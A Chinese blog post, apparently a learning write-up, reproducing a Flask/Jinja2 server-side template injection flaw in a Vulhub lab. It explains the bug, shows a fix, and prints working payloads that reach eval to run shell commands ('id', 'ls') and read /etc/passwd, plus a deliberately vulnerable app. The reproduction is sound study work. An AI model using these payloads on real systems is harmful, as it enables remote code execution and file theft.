flask ssti漏洞复现


title: flask ssti漏洞复现
date: 2019-04-10 13:12:06
tags:
- python security
- flask ssti
- Vulhub
- 漏洞复现
categories:
- 漏洞复现
- flask/ssti


开一个新坑关于漏洞复现,通过复现漏洞去学习一些东西,vulhub有太多环境了,这里先从一些自己比较熟悉的开始学习。所以选择了flask/ssti

Vulhub是一个基于docker和docker-compose的漏洞环境集合,进入对应目录并执行一条语句即可启动一个
全新的漏洞环境,让漏洞复现变得更加简单,让安全研究者更加专注于漏洞原理本身。

分享一个好用的漏洞环境:Vulhub


前言

flask/ssti漏洞,完整叫法应该是: Flask(Jinja2) 服务端模板注入漏洞(SSTI)。上网找了找别人的分析文章。看了一大圈下来,发现都没怎么讲原理,都是直接开干,或许是这个漏洞太简单了吧233~。
不过最后还是找到一篇提了提原理的博客。贴在下面好了,因为我之前略微学了几天flask,所以这个漏洞原理理解复现起来还是挺顺畅的。
Flask(Jinja2) 服务端模板注入漏洞(SSTI)


基础知识

0x01 Flask

Flask简介

Flask 是一个使用 Python 编写的轻量级 Web 应用框架。其 WSGI 工具箱采用 Werkzeug ,模板引擎则使用 Jinja2 。
Flask 为你提供工具,库和技术来允许你构建一个 web 应用程序。这个 web 应用程序可以是一些 web 页面、博客、wiki、基于 web 的日历应用或商业网站。

Flask简单示例

flask简单易学,下面代码是flask版的hello world

from flask import Flask
app = Flask(__name__)
@app.route("/")
def hello():    
    return "Hello World!"
 
if __name__ == "__main__":
    app.run()

简单说下上面代码,第1、2行是初始化过程。3-5行是使用Flask提供的app.route修饰器,把修饰的函数注册为路由。简单讲就是当访问http://xxx.xx.xx/时,使用hello函数进行处理响应。

flask就简单这么提一下吧,具体的我也写不来,毕竟这是分析flask/ssti漏洞,不是flask学习笔记,而且我flask也就之前看过几天。如果有想仔细学flask的兄贵的话,我只能在下面贴个pdf链接了。。
Flask-Web开发:基于Python的Web应用开发实战

0x02 Jinja2

Jinja2简介

Jinja 2是一种面向Python的现代和设计友好的模板语言,它是以Django的模板为模型的。Jinja支持python语句

Jinja2 模版部分语法

  1. 变量
    Jinja2 使用{{name}}结构表示一个变量,它是一种特殊的占位符,告诉模版引擎这个位置的值从渲染模版时使用的数据中获取
    Jinja2 能识别所有类型的变量,甚至是一些复杂的类型,例如列表、字典和对象。此外,还可使用过滤器修改变量,过滤器名添加在变量名之后,中间使用竖线分隔。例如,下述模板以首字母大写形式显示变量name的值。

    Hello, {{ name|capitalize }}
    
  2. if&for语句
    if语句简单示例

    {% if user %}
         Hello,{{user}} !
    {% else %}
         Hello,Stranger!
    {% endif %}
    

    for语句循环渲染一组元素

      {% for comment in comments %}
    • {{comment}}
    • {% endfor %}

漏洞原理

0x01 查看源码

  1. cd进flask/ssti目录,开启ssti环境


    flask ssti漏洞复现_第1张图片
    image
  2. 访问一下目标环境,可以看到开启成功


    flask ssti漏洞复现_第2张图片
    image
  3. 接下来看一下网页app.py源码

    from flask import Flask, request
    from jinja2 import Template
    
    app = Flask(__name__)
    
    @app.route("/")
    def index():
        name = request.args.get('name', 'guest')
    
        t = Template("Hello " + name)
        return t.render()
    
    if __name__ == "__main__":
        app.run()
    

0x02 漏洞成因分析

可以看到上面第10行代码 t = Template("Hello " + name),Template()完全可控,那么就可以直接写入jinja2的模板语言,如下图,页面返回54289,证明存在ssti漏洞

flask ssti漏洞复现_第3张图片
image

0x03 漏洞预防测试

当然这不是jinja 2的问题,而是网站开发人员的疏漏,如果我们可以对上面代码稍作修改,即可以避免

from flask import Flask, request
from jinja2 import Template

app = Flask(__name__)

@app.route("/safe")
def index():
    name = request.args.get('name', 'guest')

    t = Template("Hello,{{n}} ")
    return t.render(n=name)

if __name__ == "__main__":
    app.run()

上面修改后代码第6行,将其路由到/safe页面进行访问测试,可以看到原本存在的代码注入漏洞就不存在了


flask ssti漏洞复现_第4张图片
image

漏洞利用

前面分析了ssti漏洞成因,现在就来讲讲如何利用这个注入漏洞搞点事情。首先给出vulhub官网上的文档的POC,后面再分析原理。

获取eval函数执行任意代码测试

Vulhub上的ssti文档是直接给了个获取eval函数并执行任意python代码的POC

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("id").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

直接访问下面链接,可以得到结果

http://your-ip:8000/?name=%7B%25%20for%20c%20in%20%5B%5D.__class__.__base__.__subclasses__()%20%25%7D%0A%7B%25%20if%20c.__name__%20%3D%3D%20%27catch_warnings%27%20%25%7D%0A%20%20%7B%25%20for%20b%20in%20c.__init__.__globals__.values()%20%25%7D%0A%20%20%7B%25%20if%20b.__class__%20%3D%3D%20%7B%7D.__class__%20%25%7D%0A%20%20%20%20%7B%25%20if%20%27eval%27%20in%20b.keys()%20%25%7D%0A%20%20%20%20%20%20%7B%7B%20b%5B%27eval%27%5D(%27__import__(%22os%22).popen(%22id%22).read()%27)%20%7D%7D%0A%20%20%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endfor%20%25%7D%0A%7B%25%20endif%20%25%7D%0A%7B%25%20endfor%20%25%7D
flask ssti漏洞复现_第5张图片
image

python沙盒逃逸

上面的POC测试用到一堆python特殊方法,初一看还看不懂,于是网上找了找资料学习总结了一下。
找到的一些资料博客里管这个叫python沙盒逃逸。于是又查了下python沙盒逃逸的定义。

flask ssti漏洞复现_第6张图片
image

下面是一些python基础知识

python特殊方法

0x01 __class__

__class__,返回当前对象所属的类


flask ssti漏洞复现_第7张图片
image

0x02 __base__ && __bases__

__base__ 和 __bases__ 作用都是返回当前类所继承的类,即基类,区别是base返回单个,bases以元组形式返回所有基类。


flask ssti漏洞复现_第8张图片
image

0x03 __mro__

以元组形式返回继承关系链


flask ssti漏洞复现_第9张图片
image

0x04 __globals__

以dict形式返回函数所在模块命名空间中的所有变量

0x05 __subclasses__()

以列表形式返回类的子类


flask ssti漏洞复现_第10张图片
image

0x06 __builtin__ && __builtins__

python中可以直接运行一些函数,例如int(),list()等等。这些函数可以在builtins中可以查到。查看的方法是dir(builtins)。在控制台中直接输入builtins会看到如下情况(python2)

flask ssti漏洞复现_第11张图片
image

在python3中__builtin__被换成了builtin,python3中使用方法如下图
flask ssti漏洞复现_第12张图片
image

__builtin__ 和 __builtins__之间是什么关系呢?

  1. 在主模块main中,__builtins__是对内建模块__builtin__本身的引用,即__builtins__完全等价于__builtin__,二者完全是一个东西,不分彼此。

  2. 非主模块main中,__builtins__仅是对__builtin__.__dict__的引用,而非__builtin__本身

利用python特殊方法bypass沙盒

0x01 用file对象读取文件(python2)

构造继承链的思路是

  1. 随便找一个内置类对象用class拿到他所对应的类
  2. bases拿到基类(
  3. subclasses()拿到子类列表
  4. 在子类列表中直接寻找可以利用的类

().\_\_class__.\_\_bases\_\_[0].\_\_subclasses__()

flask ssti漏洞复现_第13张图片
image

在这堆列表里找到file对应的对象

t = ().__class__.__bases__[0].__subclasses__()
for c in t:
    if c.__name__ == 'file':
        print t.index(c)

flask ssti漏洞复现_第14张图片
image

现在用dir查看file对象的内置方法:
dir(().\_\_class__.\_\_bases\_\_[0].\_\_subclasses__()[40])
flask ssti漏洞复现_第15张图片
image

利用readlines方法读取/etc/passwd文件
().\_\_class__.\_\_bases\_\_[0].\_\_subclasses__()[40]('/etc/passwd').readlines

故可以构造ssti payload

{% for c in ().__class__.__bases__[0].__subclasses__():%}
{% if c.__name__ == 'file':%}
{{"Success! File contents is 
"}} {% c('/etc/passwd').readlines() %} {% endif %} {% endfor %}

**注意: python3中file对象已不存在,故上面payload只适用于Python2

0x02寻找__builtins__中的eval

上面file对象只能Python2使用,那么如果遇上Python3该怎么办呢。
关于__builtins__,本文之前介绍python特殊方法是提到过,它包含了python的内置函数,而eval正在里面。所以只要找到eval,管他python2、python3,盘就完事了。

分别用python2、python3运行下面代码,找出含__builtins__的类,找一个python2、3共有的类

for c in ().__class__.__bases__[0].__subclasses__():
    try:    #这里代码为啥要用try呢,因为不是每个对象都有\_\_globals__
        if '__builtins__' in c.__init__.__globals__.keys():
            print(c.name)
    except:
        pass

如:_IterationGuard类是python 2、3共有
则可以构造下面payload,执行ls命令

{% for c in ().__class__.__bases__[0].__subclasses__(): %}
{% if c.__name__ == '_IterationGuard': %}
{{c.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()") }}
{% endif %}
{% endfor %}
flask ssti漏洞复现_第16张图片
image

总结

整个ssti复现下来,感觉还是很轻松的,可能是对python flask比较熟悉吧,希望接下来的其他漏洞复现不会自闭。。。


参考

用python继承链搞事情
Flask(Jinja2) 服务端模板注入漏洞(SSTI)
Python沙箱逃逸总结

你可能感兴趣的:(flask ssti漏洞复现)